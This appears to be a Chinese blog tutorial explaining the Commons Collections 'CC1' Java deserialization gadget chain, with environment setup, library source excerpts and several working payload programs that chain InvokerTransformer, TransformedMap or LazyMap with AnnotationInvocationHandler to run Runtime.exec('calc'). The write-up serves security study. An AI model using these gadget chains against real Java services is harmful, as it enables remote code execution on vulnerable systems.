前段时间学习了Java的一些基础语法,然后就想学学CC1。所以就有了这篇文章。

环境配置

Java

Java版本应在8u71之前,后续版本已经修复

commons-collections

该依赖版本应在3.1-3.2.1之间

源码

java安装路径下解压src.zip,然后下载sun的源码到src文件夹,可以在以下网址寻找对应版本的sun包:https://hg.openjdk.org/

IDEA

首先安装好maven,新版默认绑定,然后插件会自动安装。新建一个maven的项目环境,之后项目结构会如下图所示:

image-20240202224247839

pom.xml中的 <project>标签下导入依赖:

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

CC1

InvokerTransformer

导入commons-collections依赖后在IDEA的外部库中就会出现其对应的源码,此时查看org.apache.commons.collections.functors下的InvokerTransformer类。

这个类中有一个 public构造方法

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

其参数:

  • 方法名
  • 类数组:准确的说应该是存储方法参数对应的类
  • 对象数组:存储方法的参数

还有一个方法:

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var4) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
        }
    }
}

可以看出这个方法应用了反射去调用方法,所以这里我们可以写一个代码尝试一下:

public class study1 {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(r);
    }
}

从源码中可以看出调用 transform()方法的参数应该是 exec方法所属的类的实例化对象。

Transformedmap

从上面可以看出 InvokerTransformer这个类是可以反射执行命令的。我们现在把链加长一下,上面看到 transform是反射入口,那么现在看一下哪里调用了这个 transform。在查找前先进行设置:

image-20240203161206448

作用域到库,不然搜不到。可以看到找到了 checkSetValue()方法:

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

这里由于是protected,所以没法直接调用,因此继续寻找哪里调用了 checkSetValue()

image-20240203161518962

找到了 setValue()方法,这个方法在一个内部类中,这个类继承了AbstractMapEntryDecorator抽象类。

static class MapEntry extends AbstractMapEntryDecorator {

    /** The parent map */
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }

    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}

同时,MapEntryAbstractInputCheckedMapDecorator的一个内部类,大致看一下AbstractInputCheckedMapDecorator就可以发现还有一个内部类EntrySet,在这个内部类中多次newMapEntry。既然new了,那么就可以调用 setValue()方法。再看一下AbstractInputCheckedMapDecorator又能发现 entrySet()方法,这个方法实例化了EntrySet

public Set entrySet() {
    if (isSetValueChecking()) {
        return new EntrySet(map.entrySet(), this);
    } else {
        return map.entrySet();
    }
}

为了调用 entrySet()方法,我们需要实例化一个对象,那么这里实例化TransformedMap这个类也就是上面 checkSetValue()方法所在的类,因为这个类继承了AbstractInputCheckedMapDecorator抽象类,可以使用父类的 entrySet()方法,但是TransformedMap的构造方法私有,观察这个类可以找到一个静态方法:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

可以通过这个方法去实例化。这里先分析下这个方法的三个参数,第一个参数map需要是非空map(跟踪构造方法可知),第二个参数没有什么具体作用可留空,第三个参数为调用 transform()方法的对象,因此应该是InvokerTransformer实例化的对象。

因此有payload:

public class study1 {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});
        HashMap map = new HashMap<>();
        map.put("key","value");
        Map<?,?> TransformedMapMethod= TransformedMap.decorate(map,null,invokerTransformer);
        for(Map.Entry entry:TransformedMapMethod.entrySet()){
            entry.setValue(r);
        }
    }
}

最后串一下这个过程:

image-20240203214009376

这里的payload只有最后的for遍历不是很好理解。这种遍历方式首先会实例化一个EntrySetIterator对象,然后调用 hasNext()方法,判断是否有下一个。

public boolean hasNext() {
    return iterator.hasNext();
}

如果有下一个,就会返回一个MapEntry对象。然后就可以调用 setValue()方法了。

AnnotationInvocationHandler

继续查找引用了 setValue()方法的类,找到了sun.reflect.annotation.AnnotationInvocationHandler这个类:

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name); // 
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

这个类的 readObject()方法中调用 setValue()方法的for循环和上面的payload非常相似,那么这里就考虑从这里继续利用,但是观察AnnotationInvocationHandler这个类就能发现可见范围是default,那么到这里基本思路就可以是通过实例化一个AnnotationInvocationHandler,然后反序列化AnnotationInvocationHandler对象进而调用 readObject()方法。

Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c1.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);

这里传入的transformedMap也就是for循环中的memberValues,这个可以查看构造函数:

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    Class<?>[] superInterfaces = type.getInterfaces();
    if (!type.isAnnotation() ||
        superInterfaces.length != 1 ||
        superInterfaces[0] != java.lang.annotation.Annotation.class)
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    this.type = type;
    this.memberValues = memberValues;
}

到这里还有一个问题,就是setValue()传参问题,这个类中传入的是AnnotationTypeMismatchExceptionProxy对象,但是我们应该传入的是Runtime对象。所以这里先将命令写成可序列化的模样:

Class c = Runtime.class;
Method getRuntime = c.getMethod("getRuntime",null);
Runtime runtime = (Runtime) getRuntime.invoke(null,null);
Method getExec = c.getMethod("exec", String.class);
Object obj = getExec.invoke(runtime, "calc.exe");

然后写成InvokerTransformer的形式:

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", null})
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null})
new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"calc"})

然后使用ChainedTransformer递归调用因为这个类继承了Transformer,可以生成TransformedMap

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

然后看一下递归部分的代码:

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

这个类中重写了 transform()方法,new ConstantTransformer(Runtime.class)部分代码如下:

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
public Object transform(Object input) {
    return iConstant;
}

相当于是传入什么就返回什么,这样多次递归就能调用 exec()方法了。payload如下:

public static void main(String[] args) throws Exception{
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"calc"}),
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> map = new HashMap<>();
    map.put("value", "value"); //设置map的值
    Map<String, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
    // 实例化
    Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = c1.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    Object o = constructor.newInstance(Target.class, transformedMap);
    serialize(o);
    unserialize();
}

public static void serialize(Object obj) throws Exception {
    ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("bin"));
    outputStream.writeObject(obj);
    outputStream.close();
}

public static void unserialize() throws Exception {
    ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("bin"));
    Object obj = inputStream.readObject();
    inputStream.close();
}

流程图:

image-20240204184332390

LazyMap链

org.apache.commons.collections.map下的LazyMap类有以下方法:

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

可以看出keyfactory是可以控制的,因此有payload:

public static void main(String[] args) {
    HashMap map = new HashMap<>();
    map.put("key","value");
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});
    LazyMap lazyMap =(LazyMap) LazyMap.decorate(map,invokerTransformer);
    lazyMap.get(Runtime.getRuntime());
}

回到AnnotationInvocationHandler,发现还有一个方法:

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");

    switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
    }

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);

    return result;
}

在这个方法当中可以看到有调用 get(),经过前面的分析可知这个类的memberValues是可控的,那么不就可以和LazyMap相结合吗?payload:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class study1 {
    public static void main(String[] args) throws Throwable {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "value"); 
        LazyMap lazyMap =(LazyMap) LazyMap.decorate(map,chainedTransformer);
// 实例化AnnotationInvocationHandler
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class,lazyMap);
        invocationHandler.invoke(new Object(),MyInterface.class.getMethod("equals"),new Object[]{});
    }
}

interface MyInterface {
    void equals();
}